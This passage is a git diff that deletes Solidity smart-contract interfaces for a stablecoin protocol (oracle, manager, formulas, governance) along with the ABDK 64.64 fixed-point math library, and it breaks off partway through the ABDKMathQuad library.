b/packages/contracts/dollar/contracts/interfaces/ITWAPOracle.sol deleted file mode 100644 index c5819445e..000000000 --- a/packages/contracts/dollar/contracts/interfaces/ITWAPOracle.sol +++ /dev/null @@ -1,8 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -interface ITWAPOracle { - function update() external; - - function consult(address token) external view returns (uint256 amountOut); -} diff --git a/packages/contracts/dollar/contracts/interfaces/IUARForDollarsCalculator.sol b/packages/contracts/dollar/contracts/interfaces/IUARForDollarsCalculator.sol deleted file mode 100644 index 461890761..000000000 --- a/packages/contracts/dollar/contracts/interfaces/IUARForDollarsCalculator.sol +++ /dev/null @@ -1,10 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -/// @title A mechanism for calculating uAR received for a dollar amount burnt -interface IUARForDollarsCalculator { - function getUARAmount(uint256 dollarsToBurn, uint256 blockHeightDebt) - external - view - returns (uint256); -} diff --git a/packages/contracts/dollar/contracts/interfaces/IUbiquityAlgorithmicDollarManager.sol b/packages/contracts/dollar/contracts/interfaces/IUbiquityAlgorithmicDollarManager.sol deleted file mode 100644 index 7a6cee751..000000000 --- a/packages/contracts/dollar/contracts/interfaces/IUbiquityAlgorithmicDollarManager.sol +++ /dev/null @@ -1,86 +0,0 @@ -// SPDX-License-Identifier: Apache-2.0 -pragma solidity ^0.8.3; - -/// @title UAD Manager interface -/// @author Ubiquity Algorithmic Manager -interface IUbiquityAlgorithmicDollarManager { - // TODO Add a generic setter for extra addresses that needs to be linked - function setTwapOracleAddress(address _twapOracleAddress) external; - - function setuARTokenAddress(address _uarTokenAddress) external; - - function setDebtCouponAddress(address _debtCouponAddress) external; - - function setIncentiveToUAD(address _account, address _incentiveAddress) - external; - - function setDollarTokenAddress(address _dollarTokenAddress) external; - - function setGovernanceTokenAddress(address _governanceTokenAddress) - external; - - function setSushiSwapPoolAddress(address _sushiSwapPoolAddress) external; - - function setUARCalculatorAddress(address _uarCalculatorAddress) external; - - function setCouponCalculatorAddress(address _couponCalculatorAddress) - external; - - function setDollarMintingCalculatorAddress( - address _dollarMintingCalculatorAddress - ) external; - - function setExcessDollarsDistributor( - address debtCouponManagerAddress, - address excessCouponDistributor - ) external; - - function setMasterChefAddress(address _masterChefAddress) external; - - function setFormulasAddress(address _formulasAddress) external; - - function setBondingShareAddress(address _bondingShareAddress) external; - - function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress) - external; - - /** - @notice set the bonding bontract smart contract address - @dev bonding contract participants deposit curve LP token - for a certain duration to earn uGOV and more curve LP token - @param _bondingContractAddress bonding contract address - */ - function setBondingContractAddress(address _bondingContractAddress) - external; - - /** - @notice set the treasury address - @dev the treasury fund is used to maintain the protocol - @param _treasuryAddress treasury fund address - */ - function setTreasuryAddress(address _treasuryAddress) external; - - /** - @notice deploy a new Curve metapools for uAD Token uAD/3Pool - @dev From the curve documentation for uncollateralized algorithmic - stablecoins amplification should be 5-10 - @param _curveFactory MetaPool factory address - @param _crvBasePool Address of the base pool to use within the new metapool. - @param _crv3PoolTokenAddress curve 3Pool token Address - @param _amplificationCoefficient amplification coefficient. The smaller - it is the closer to a constant product we are. - @param _fee Trade fee, given as an integer with 1e10 precision. - */ - function deployStableSwapPool( - address _curveFactory, - address _crvBasePool, - address _crv3PoolTokenAddress, - uint256 _amplificationCoefficient, - uint256 _fee - ) external; - - function getExcessDollarsDistributor(address _debtCouponManagerAddress) - external - view - returns (address); -} diff --git a/packages/contracts/dollar/contracts/interfaces/IUbiquityFormulas.sol b/packages/contracts/dollar/contracts/interfaces/IUbiquityFormulas.sol deleted file mode 100644 index 25c02fbf0..000000000 --- a/packages/contracts/dollar/contracts/interfaces/IUbiquityFormulas.sol +++ /dev/null @@ -1,33 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -interface IUbiquityFormulas { - function durationMultiply( - uint256 _uLP, - uint256 _weeks, - uint256 _multiplier - ) external pure returns (uint256 _shares); - - function bonding( - uint256 _shares, - uint256 _currentShareValue, - uint256 _targetPrice - ) external pure returns (uint256 _uBOND); - - function redeemBonds( - uint256 _uBOND, - uint256 _currentShareValue, - uint256 _targetPrice - ) external pure returns (uint256 _uLP); - - function bondPrice( - uint256 _totalULP, - uint256 _totalUBOND, - uint256 _targetPrice - ) external pure returns (uint256 _priceUBOND); - - function ugovMultiply(uint256 _multiplier, uint256 _price) - external - pure - returns (uint256 _newMultiplier); -} diff --git a/packages/contracts/dollar/contracts/interfaces/IUbiquityGovernance.sol b/packages/contracts/dollar/contracts/interfaces/IUbiquityGovernance.sol deleted file mode 100644 index 013a84f52..000000000 --- a/packages/contracts/dollar/contracts/interfaces/IUbiquityGovernance.sol +++ /dev/null @@ -1,11 +0,0 @@ -// SPDX-License-Identifier: Apache-2.0 -pragma solidity ^0.8.3; - -import "./IERC20Ubiquity.sol"; - -/// @title uGOV governance token interface -/// @author Ubiquity Algorithmic Dollar -// solhint-disable-next-line no-empty-blocks -interface IUbiquityGovernance is IERC20Ubiquity { - -} diff --git a/packages/contracts/dollar/contracts/interfaces/utils/ICollectableDust.sol b/packages/contracts/dollar/contracts/interfaces/utils/ICollectableDust.sol deleted file mode 100644 index a06c4a7a2..000000000 --- a/packages/contracts/dollar/contracts/interfaces/utils/ICollectableDust.sol +++ /dev/null @@ -1,18 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -interface ICollectableDust { - event DustSent(address _to, address token, uint256 amount); - event ProtocolTokenAdded(address _token); - event ProtocolTokenRemoved(address _token); - - function addProtocolToken(address _token) external; - - function removeProtocolToken(address _token) external; - - function sendDust( - address _to, - address _token, - uint256 _amount - ) external; -} diff --git a/packages/contracts/dollar/contracts/libs/ABDKMath64x64.sol b/packages/contracts/dollar/contracts/libs/ABDKMath64x64.sol deleted file mode 100644 index 80abb4f12..000000000 --- a/packages/contracts/dollar/contracts/libs/ABDKMath64x64.sol +++ /dev/null @@ -1,844 +0,0 @@ -// SPDX-License-Identifier: BSD-4-Clause -/* - * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting. - * Author: Mikhail Vladimirov - */ -pragma solidity ^0.8.0; - -/** - * Smart contract library of mathematical functions operating with signed - * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is - * basically a simple fraction whose numerator is signed 128-bit integer and - * denominator is 2^64. As long as denominator is always the same, there is no - * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are - * represented by int128 type holding only the numerator. - */ -library ABDKMath64x64 { - /* - * Minimum value signed 64.64-bit fixed point number may have. - */ - int128 private constant _MIN_64x64 = -0x80000000000000000000000000000000; - - /* - * Maximum value signed 64.64-bit fixed point number may have. - */ - int128 private constant _MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - - /** - * Convert signed 256-bit integer number into signed 64.64-bit fixed point - * number. Revert on overflow. - * - * @param x signed 256-bit integer number - * @return signed 64.64-bit fixed point number - */ - function fromInt(int256 x) internal pure returns (int128) { - unchecked { - require(x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF); - return int128(x << 64); - } - } - - /** - * Convert signed 64.64 fixed point number into signed 64-bit integer number - * rounding down. - * - * @param x signed 64.64-bit fixed point number - * @return signed 64-bit integer number - */ - function toInt(int128 x) internal pure returns (int64) { - unchecked { - return int64(x >> 64); - } - } - - /** - * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point - * number. Revert on overflow. - * - * @param x unsigned 256-bit integer number - * @return signed 64.64-bit fixed point number - */ - function fromUInt(uint256 x) internal pure returns (int128) { - unchecked { - require(x <= 0x7FFFFFFFFFFFFFFF); - return int128(int256(x << 64)); - } - } - - /** - * Convert signed 64.64 fixed point number into unsigned 64-bit integer - * number rounding down. Revert on underflow. - * - * @param x signed 64.64-bit fixed point number - * @return unsigned 64-bit integer number - */ - function toUInt(int128 x) internal pure returns (uint64) { - unchecked { - require(x >= 0); - return uint64(uint128(x >> 64)); - } - } - - /** - * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point - * number rounding down. Revert on overflow. - * - * @param x signed 128.128-bin fixed point number - * @return signed 64.64-bit fixed point number - */ - function from128x128(int256 x) internal pure returns (int128) { - unchecked { - int256 result = x >> 64; - require(result >= _MIN_64x64 && result <= _MAX_64x64); - return int128(result); - } - } - - /** - * Convert signed 64.64 fixed point number into signed 128.128 fixed point - * number. - * - * @param x signed 64.64-bit fixed point number - * @return signed 128.128 fixed point number - */ - function to128x128(int128 x) internal pure returns (int256) { - unchecked { - return int256(x) << 64; - } - } - - /** - * Calculate x + y. Revert on overflow. - * - * @param x signed 64.64-bit fixed point number - * @param y signed 64.64-bit fixed point number - * @return signed 64.64-bit fixed point number - */ - function add(int128 x, int128 y) internal pure returns (int128) { - unchecked { - int256 result = int256(x) + y; - require(result >= _MIN_64x64 && result <= _MAX_64x64); - return int128(result); - } - } - - /** - * Calculate x - y. Revert on overflow. - * - * @param x signed 64.64-bit fixed point number - * @param y signed 64.64-bit fixed point number - * @return signed 64.64-bit fixed point number - */ - function sub(int128 x, int128 y) internal pure returns (int128) { - unchecked { - int256 result = int256(x) - y; - require(result >= _MIN_64x64 && result <= _MAX_64x64); - return int128(result); - } - } - - /** - * Calculate x * y rounding down. Revert on overflow. - * - * @param x signed 64.64-bit fixed point number - * @param y signed 64.64-bit fixed point number - * @return signed 64.64-bit fixed point number - */ - function mul(int128 x, int128 y) internal pure returns (int128) { - unchecked { - int256 result = (int256(x) * y) >> 64; - require(result >= _MIN_64x64 && result <= _MAX_64x64); - return int128(result); - } - } - - /** - * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point - * number and y is signed 256-bit integer number. Revert on overflow. - * - * @param x signed 64.64 fixed point number - * @param y signed 256-bit integer number - * @return signed 256-bit integer number - */ - function muli(int128 x, int256 y) internal pure returns (int256) { - unchecked { - if (x == _MIN_64x64) { - require( - y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF && - y <= 0x1000000000000000000000000000000000000000000000000 - ); - return -y << 63; - } else { - bool negativeResult = false; - if (x < 0) { - x = -x; - negativeResult = true; - } - if (y < 0) { - y = -y; // We rely on overflow behavior here - negativeResult = !negativeResult; - } - uint256 absoluteResult = mulu(x, uint256(y)); - if (negativeResult) { - require( - absoluteResult <= - 0x8000000000000000000000000000000000000000000000000000000000000000 - ); - return -int256(absoluteResult); // We rely on overflow behavior here - } else { - require( - absoluteResult <= - 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - ); - return int256(absoluteResult); - } - } - } - } - - /** - * Calculate x * y rounding down, where x is signed 64.64 fixed point number - * and y is unsigned 256-bit integer number. Revert on overflow. - * - * @param x signed 64.64 fixed point number - * @param y unsigned 256-bit integer number - * @return unsigned 256-bit integer number - */ - function mulu(int128 x, uint256 y) internal pure returns (uint256) { - unchecked { - if (y == 0) return 0; - - require(x >= 0); - - uint256 lo = (uint256(int256(x)) * - (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64; - uint256 hi = uint256(int256(x)) * (y >> 128); - - require(hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); - hi <<= 64; - - require( - hi <= - 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - - lo - ); - return hi + lo; - } - } - - /** - * Calculate x / y rounding towards zero. Revert on overflow or when y is - * zero. - * - * @param x signed 64.64-bit fixed point number - * @param y signed 64.64-bit fixed point number - * @return signed 64.64-bit fixed point number - */ - function div(int128 x, int128 y) internal pure returns (int128) { - unchecked { - require(y != 0); - int256 result = (int256(x) << 64) / y; - require(result >= _MIN_64x64 && result <= _MAX_64x64); - return int128(result); - } - } - - /** - * Calculate x / y rounding towards zero, where x and y are signed 256-bit - * integer numbers. Revert on overflow or when y is zero. - * - * @param x signed 256-bit integer number - * @param y signed 256-bit integer number - * @return signed 64.64-bit fixed point number - */ - function divi(int256 x, int256 y) internal pure returns (int128) { - unchecked { - require(y != 0); - - bool negativeResult = false; - if (x < 0) { - x = -x; // We rely on overflow behavior here - negativeResult = true; - } - if (y < 0) { - y = -y; // We rely on overflow behavior here - negativeResult = !negativeResult; - } - uint128 absoluteResult = divuu(uint256(x), uint256(y)); - if (negativeResult) { - require(absoluteResult <= 0x80000000000000000000000000000000); - return -int128(absoluteResult); // We rely on overflow behavior here - } else { - require(absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); - return int128(absoluteResult); // We rely on overflow behavior here - } - } - } - - /** - * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit - * integer numbers. Revert on overflow or when y is zero. - * - * @param x unsigned 256-bit integer number - * @param y unsigned 256-bit integer number - * @return signed 64.64-bit fixed point number - */ - function divu(uint256 x, uint256 y) internal pure returns (int128) { - unchecked { - require(y != 0); - uint128 result = divuu(x, y); - require(result <= uint128(_MAX_64x64)); - return int128(result); - } - } - - /** - * Calculate -x. Revert on overflow. - * - * @param x signed 64.64-bit fixed point number - * @return signed 64.64-bit fixed point number - */ - function neg(int128 x) internal pure returns (int128) { - unchecked { - require(x != _MIN_64x64); - return -x; - } - } - - /** - * Calculate |x|. Revert on overflow. - * - * @param x signed 64.64-bit fixed point number - * @return signed 64.64-bit fixed point number - */ - function abs(int128 x) internal pure returns (int128) { - unchecked { - require(x != _MIN_64x64); - return x < 0 ? -x : x; - } - } - - /** - * Calculate 1 / x rounding towards zero. Revert on overflow or when x is - * zero. - * - * @param x signed 64.64-bit fixed point number - * @return signed 64.64-bit fixed point number - */ - function inv(int128 x) internal pure returns (int128) { - unchecked { - require(x != 0); - int256 result = int256(0x100000000000000000000000000000000) / x; - require(result >= _MIN_64x64 && result <= _MAX_64x64); - return int128(result); - } - } - - /** - * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down. - * - * @param x signed 64.64-bit fixed point number - * @param y signed 64.64-bit fixed point number - * @return signed 64.64-bit fixed point number - */ - function avg(int128 x, int128 y) internal pure returns (int128) { - unchecked { - return int128((int256(x) + int256(y)) >> 1); - } - } - - /** - * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down. - * Revert on overflow or in case x * y is negative. - * - * @param x signed 64.64-bit fixed point number - * @param y signed 64.64-bit fixed point number - * @return signed 64.64-bit fixed point number - */ - function gavg(int128 x, int128 y) internal pure returns (int128) { - unchecked { - int256 m = int256(x) * int256(y); - require(m >= 0); - require( - m < - 0x4000000000000000000000000000000000000000000000000000000000000000 - ); - return int128(sqrtu(uint256(m))); - } - } - - /** - * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number - * and y is unsigned 256-bit integer number. Revert on overflow. - * - * @param x signed 64.64-bit fixed point number - * @param y uint256 value - * @return signed 64.64-bit fixed point number - */ - function pow(int128 x, uint256 y) internal pure returns (int128) { - unchecked { - bool negative = x < 0 && y & 1 == 1; - - uint256 absX = uint128(x < 0 ? -x : x); - uint256 absResult; - absResult = 0x100000000000000000000000000000000; - - if (absX <= 0x10000000000000000) { - absX <<= 63; - while (y != 0) { - if (y & 0x1 != 0) { - absResult = (absResult * absX) >> 127; - } - absX = (absX * absX) >> 127; - - if (y & 0x2 != 0) { - absResult = (absResult * absX) >> 127; - } - absX = (absX * absX) >> 127; - - if (y & 0x4 != 0) { - absResult = (absResult * absX) >> 127; - } - absX = (absX * absX) >> 127; - - if (y & 0x8 != 0) { - absResult = (absResult * absX) >> 127; - } - absX = (absX * absX) >> 127; - - y >>= 4; - } - - absResult >>= 64; - } else { - uint256 absXShift = 63; - if (absX < 0x1000000000000000000000000) { - absX <<= 32; - absXShift -= 32; - } - if (absX < 0x10000000000000000000000000000) { - absX <<= 16; - absXShift -= 16; - } - if (absX < 0x1000000000000000000000000000000) { - absX <<= 8; - absXShift -= 8; - } - if (absX < 0x10000000000000000000000000000000) { - absX <<= 4; - absXShift -= 4; - } - if (absX < 0x40000000000000000000000000000000) { - absX <<= 2; - absXShift -= 2; - } - if (absX < 0x80000000000000000000000000000000) { - absX <<= 1; - absXShift -= 1; - } - - uint256 resultShift = 0; - while (y != 0) { - require(absXShift < 64); - - if (y & 0x1 != 0) { - absResult = (absResult * absX) >> 127; - resultShift += absXShift; - if (absResult > 0x100000000000000000000000000000000) { - absResult >>= 1; - resultShift += 1; - } - } - absX = (absX * absX) >> 127; - absXShift <<= 1; - if (absX >= 0x100000000000000000000000000000000) { - absX >>= 1; - absXShift += 1; - } - - y >>= 1; - } - - require(resultShift < 64); - absResult >>= 64 - resultShift; - } - int256 result = negative ? -int256(absResult) : int256(absResult); - require(result >= _MIN_64x64 && result <= _MAX_64x64); - return int128(result); - } - } - - /** - * Calculate sqrt (x) rounding down. Revert if x < 0. - * - * @param x signed 64.64-bit fixed point number - * @return signed 64.64-bit fixed point number - */ - function sqrt(int128 x) internal pure returns (int128) { - unchecked { - require(x >= 0); - return int128(sqrtu(uint256(int256(x)) << 64)); - } - } - - /** - * Calculate binary logarithm of x. Revert if x <= 0. - * - * @param x signed 64.64-bit fixed point number - * @return signed 64.64-bit fixed point number - */ - function log_2(int128 x) internal pure returns (int128) { - unchecked { - require(x > 0); - - int256 msb = 0; - int256 xc = x; - if (xc >= 0x10000000000000000) { - xc >>= 64; - msb += 64; - } - if (xc >= 0x100000000) { - xc >>= 32; - msb += 32; - } - if (xc >= 0x10000) { - xc >>= 16; - msb += 16; - } - if (xc >= 0x100) { - xc >>= 8; - msb += 8; - } - if (xc >= 0x10) { - xc >>= 4; - msb += 4; - } - if (xc >= 0x4) { - xc >>= 2; - msb += 2; - } - if (xc >= 0x2) msb += 1; // No need to shift xc anymore - - int256 result = (msb - 64) << 64; - uint256 ux = uint256(int256(x)) << uint256(127 - msb); - for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) { - ux *= ux; - uint256 b = ux >> 255; - ux >>= 127 + b; - result += bit * int256(b); - } - - return int128(result); - } - } - - /** - * Calculate natural logarithm of x. Revert if x <= 0. - * - * @param x signed 64.64-bit fixed point number - * @return signed 64.64-bit fixed point number - */ - function ln(int128 x) internal pure returns (int128) { - unchecked { - require(x > 0); - - return - int128( - int256( - (uint256(int256(log_2(x))) * - 0xB17217F7D1CF79ABC9E3B39803F2F6AF) >> 128 - ) - ); - } - } - - /** - * Calculate binary exponent of x. Revert on overflow. - * - * @param x signed 64.64-bit fixed point number - * @return signed 64.64-bit fixed point number - */ - function exp_2(int128 x) internal pure returns (int128) { - unchecked { - require(x < 0x400000000000000000); // Overflow - - if (x < -0x400000000000000000) return 0; // Underflow - - uint256 result = 0x80000000000000000000000000000000; - - if (x & 0x8000000000000000 > 0) - result = (result * 0x16A09E667F3BCC908B2FB1366EA957D3E) >> 128; - if (x & 0x4000000000000000 > 0) - result = (result * 0x1306FE0A31B7152DE8D5A46305C85EDEC) >> 128; - if (x & 0x2000000000000000 > 0) - result = (result * 0x1172B83C7D517ADCDF7C8C50EB14A791F) >> 128; - if (x & 0x1000000000000000 > 0) - result = (result * 0x10B5586CF9890F6298B92B71842A98363) >> 128; - if (x & 0x800000000000000 > 0) - result = (result * 0x1059B0D31585743AE7C548EB68CA417FD) >> 128; - if (x & 0x400000000000000 > 0) - result = (result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8) >> 128; - if (x & 0x200000000000000 > 0) - result = (result * 0x10163DA9FB33356D84A66AE336DCDFA3F) >> 128; - if (x & 0x100000000000000 > 0) - result = (result * 0x100B1AFA5ABCBED6129AB13EC11DC9543) >> 128; - if (x & 0x80000000000000 > 0) - result = (result * 0x10058C86DA1C09EA1FF19D294CF2F679B) >> 128; - if (x & 0x40000000000000 > 0) - result = (result * 0x1002C605E2E8CEC506D21BFC89A23A00F) >> 128; - if (x & 0x20000000000000 > 0) - result = (result * 0x100162F3904051FA128BCA9C55C31E5DF) >> 128; - if (x & 0x10000000000000 > 0) - result = (result * 0x1000B175EFFDC76BA38E31671CA939725) >> 128; - if (x & 0x8000000000000 > 0) - result = (result * 0x100058BA01FB9F96D6CACD4B180917C3D) >> 128; - if (x & 0x4000000000000 > 0) - result = (result * 0x10002C5CC37DA9491D0985C348C68E7B3) >> 128; - if (x & 0x2000000000000 > 0) - result = (result * 0x1000162E525EE054754457D5995292026) >> 128; - if (x & 0x1000000000000 > 0) - result = (result * 0x10000B17255775C040618BF4A4ADE83FC) >> 128; - if (x & 0x800000000000 > 0) - result = (result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB) >> 128; - if (x & 0x400000000000 > 0) - result = (result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9) >> 128; - if (x & 0x200000000000 > 0) - result = (result * 0x10000162E43F4F831060E02D839A9D16D) >> 128; - if (x & 0x100000000000 > 0) - result = (result * 0x100000B1721BCFC99D9F890EA06911763) >> 128; - if (x & 0x80000000000 > 0) - result = (result * 0x10000058B90CF1E6D97F9CA14DBCC1628) >> 128; - if (x & 0x40000000000 > 0) - result = (result * 0x1000002C5C863B73F016468F6BAC5CA2B) >> 128; - if (x & 0x20000000000 > 0) - result = (result * 0x100000162E430E5A18F6119E3C02282A5) >> 128; - if (x & 0x10000000000 > 0) - result = (result * 0x1000000B1721835514B86E6D96EFD1BFE) >> 128; - if (x & 0x8000000000 > 0) - result = (result * 0x100000058B90C0B48C6BE5DF846C5B2EF) >> 128; - if (x & 0x4000000000 > 0) - result = (result * 0x10000002C5C8601CC6B9E94213C72737A) >> 128; - if (x & 0x2000000000 > 0) - result = (result * 0x1000000162E42FFF037DF38AA2B219F06) >> 128; - if (x & 0x1000000000 > 0) - result = (result * 0x10000000B17217FBA9C739AA5819F44F9) >> 128; - if (x & 0x800000000 > 0) - result = (result * 0x1000000058B90BFCDEE5ACD3C1CEDC823) >> 128; - if (x & 0x400000000 > 0) - result = (result * 0x100000002C5C85FE31F35A6A30DA1BE50) >> 128; - if (x & 0x200000000 > 0) - result = (result * 0x10000000162E42FF0999CE3541B9FFFCF) >> 128; - if (x & 0x100000000 > 0) - result = (result * 0x100000000B17217F80F4EF5AADDA45554) >> 128; - if (x & 0x80000000 > 0) - result = (result * 0x10000000058B90BFBF8479BD5A81B51AD) >> 128; - if (x & 0x40000000 > 0) - result = (result * 0x1000000002C5C85FDF84BD62AE30A74CC) >> 128; - if (x & 0x20000000 > 0) - result = (result * 0x100000000162E42FEFB2FED257559BDAA) >> 128; - if (x & 0x10000000 > 0) - result = (result * 0x1000000000B17217F7D5A7716BBA4A9AE) >> 128; - if (x & 0x8000000 > 0) - result = (result * 0x100000000058B90BFBE9DDBAC5E109CCE) >> 128; - if (x & 0x4000000 > 0) - result = (result * 0x10000000002C5C85FDF4B15DE6F17EB0D) >> 128; - if (x & 0x2000000 > 0) - result = (result * 0x1000000000162E42FEFA494F1478FDE05) >> 128; - if (x & 0x1000000 > 0) - result = (result * 0x10000000000B17217F7D20CF927C8E94C) >> 128; - if (x & 0x800000 > 0) - result = (result * 0x1000000000058B90BFBE8F71CB4E4B33D) >> 128; - if (x & 0x400000 > 0) - result = (result * 0x100000000002C5C85FDF477B662B26945) >> 128; - if (x & 0x200000 > 0) - result = (result * 0x10000000000162E42FEFA3AE53369388C) >> 128; - if (x & 0x100000 > 0) - result = (result * 0x100000000000B17217F7D1D351A389D40) >> 128; - if (x & 0x80000 > 0) - result = (result * 0x10000000000058B90BFBE8E8B2D3D4EDE) >> 128; - if (x & 0x40000 > 0) - result = (result * 0x1000000000002C5C85FDF4741BEA6E77E) >> 128; - if (x & 0x20000 > 0) - result = (result * 0x100000000000162E42FEFA39FE95583C2) >> 128; - if (x & 0x10000 > 0) - result = (result * 0x1000000000000B17217F7D1CFB72B45E1) >> 128; - if (x & 0x8000 > 0) - result = (result * 0x100000000000058B90BFBE8E7CC35C3F0) >> 128; - if (x & 0x4000 > 0) - result = (result * 0x10000000000002C5C85FDF473E242EA38) >> 128; - if (x & 0x2000 > 0) - result = (result * 0x1000000000000162E42FEFA39F02B772C) >> 128; - if (x & 0x1000 > 0) - result = (result * 0x10000000000000B17217F7D1CF7D83C1A) >> 128; - if (x & 0x800 > 0) - result = (result * 0x1000000000000058B90BFBE8E7BDCBE2E) >> 128; - if (x & 0x400 > 0) - result = (result * 0x100000000000002C5C85FDF473DEA871F) >> 128; - if (x & 0x200 > 0) - result = (result * 0x10000000000000162E42FEFA39EF44D91) >> 128; - if (x & 0x100 > 0) - result = (result * 0x100000000000000B17217F7D1CF79E949) >> 128; - if (x & 0x80 > 0) - result = (result * 0x10000000000000058B90BFBE8E7BCE544) >> 128; - if (x & 0x40 > 0) - result = (result * 0x1000000000000002C5C85FDF473DE6ECA) >> 128; - if (x & 0x20 > 0) - result = (result * 0x100000000000000162E42FEFA39EF366F) >> 128; - if (x & 0x10 > 0) - result = (result * 0x1000000000000000B17217F7D1CF79AFA) >> 128; - if (x & 0x8 > 0) - result = (result * 0x100000000000000058B90BFBE8E7BCD6D) >> 128; - if (x & 0x4 > 0) - result = (result * 0x10000000000000002C5C85FDF473DE6B2) >> 128; - if (x & 0x2 > 0) - result = (result * 0x1000000000000000162E42FEFA39EF358) >> 128; - if (x & 0x1 > 0) - result = (result * 0x10000000000000000B17217F7D1CF79AB) >> 128; - - result >>= uint256(int256(63 - (x >> 64))); - require(result <= uint256(int256(_MAX_64x64))); - - return int128(int256(result)); - } - } - - /** - * Calculate natural exponent of x. Revert on overflow. - * - * @param x signed 64.64-bit fixed point number - * @return signed 64.64-bit fixed point number - */ - function exp(int128 x) internal pure returns (int128) { - unchecked { - require(x < 0x400000000000000000); // Overflow - - if (x < -0x400000000000000000) return 0; // Underflow - - return - exp_2( - int128( - (int256(x) * 0x171547652B82FE1777D0FFDA0D23A7D12) >> 128 - ) - ); - } - } - - /** - * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit - * integer numbers. Revert on overflow or when y is zero. - * - * @param x unsigned 256-bit integer number - * @param y unsigned 256-bit integer number - * @return unsigned 64.64-bit fixed point number - */ - function divuu(uint256 x, uint256 y) private pure returns (uint128) { - unchecked { - require(y != 0); - - uint256 result; - - if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) - result = (x << 64) / y; - else { - uint256 msb = 192; - uint256 xc = x >> 192; - if (xc >= 0x100000000) { - xc >>= 32; - msb += 32; - } - if (xc >= 0x10000) { - xc >>= 16; - msb += 16; - } - if (xc >= 0x100) { - xc >>= 8; - msb += 8; - } - if (xc >= 0x10) { - xc >>= 4; - msb += 4; - } - if (xc >= 0x4) { - xc >>= 2; - msb += 2; - } - if (xc >= 0x2) msb += 1; // No need to shift xc anymore - - result = (x << (255 - msb)) / (((y - 1) >> (msb - 191)) + 1); - require(result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); - - uint256 hi = result * (y >> 128); - uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); - - uint256 xh = x >> 192; - uint256 xl = x << 64; - - if (xl < lo) xh -= 1; - xl -= lo; // We rely on overflow behavior here - lo = hi << 128; - if (xl < lo) xh -= 1; - xl -= lo; // We rely on overflow behavior here - - assert(xh == hi >> 128); - - result += xl / y; - } - - require(result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); - return uint128(result); - } - } - - /** - * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer - * number. - * - * @param x unsigned 256-bit integer number - * @return unsigned 128-bit integer number - */ - function sqrtu(uint256 x) private pure returns (uint128) { - unchecked { - if (x == 0) return 0; - else { - uint256 xx = x; - uint256 r = 1; - if (xx >= 0x100000000000000000000000000000000) { - xx >>= 128; - r <<= 64; - } - if (xx >= 0x10000000000000000) { - xx >>= 64; - r <<= 32; - } - if (xx >= 0x100000000) { - xx >>= 32; - r <<= 16; - } - if (xx >= 0x10000) { - xx >>= 16; - r <<= 8; - } - if (xx >= 0x100) { - xx >>= 8; - r <<= 4; - } - if (xx >= 0x10) { - xx >>= 4; - r <<= 2; - } - if (xx >= 0x8) { - r <<= 1; - } - r = (r + x / r) >> 1; - r = (r + x / r) >> 1; - r = (r + x / r) >> 1; - r = (r + x / r) >> 1; - r = (r + x / r) >> 1; - r = (r + x / r) >> 1; - r = (r + x / r) >> 1; // Seven iterations should be enough - uint256 r1 = x / r; - return uint128(r < r1 ? r : r1); - } - } - } -} diff --git a/packages/contracts/dollar/contracts/libs/ABDKMathQuad.sol b/packages/contracts/dollar/contracts/libs/ABDKMathQuad.sol deleted file mode 100644 index eed213366..000000000 --- a/packages/contracts/dollar/contracts/libs/ABDKMathQuad.sol +++ /dev/null @@ -1,1904 +0,0 @@ -// SPDX-License-Identifier: BSD-4-Clause -/* - * ABDK Math Quad Smart Contract Library. Copyright © 2019 by ABDK Consulting. - * Author: Mikhail Vladimirov - */ -pragma solidity ^0.8.0; - -/** - * Smart contract library of mathematical functions operating with IEEE 754 - * quadruple-precision binary floating-point numbers (quadruple precision - * numbers). As long as quadruple precision numbers are 16-bytes long, they are - * represented by bytes16 type. - */ -library ABDKMathQuad { - /* - * 0. - */ - bytes16 private constant _POSITIVE_ZERO = - 0x00000000000000000000000000000000; - - /* - * -0. - */ - bytes16 private constant _NEGATIVE_ZERO = - 0x80000000000000000000000000000000; - - /* - * +Infinity. - */ - bytes16 private constant _POSITIVE_INFINITY = - 0x7FFF0000000000000000000000000000; - - /* - * -Infinity. - */ - bytes16 private constant _NEGATIVE_INFINITY = - 0xFFFF0000000000000000000000000000; - - /* - * Canonical NaN value. - */ - bytes16 private constant NaN = 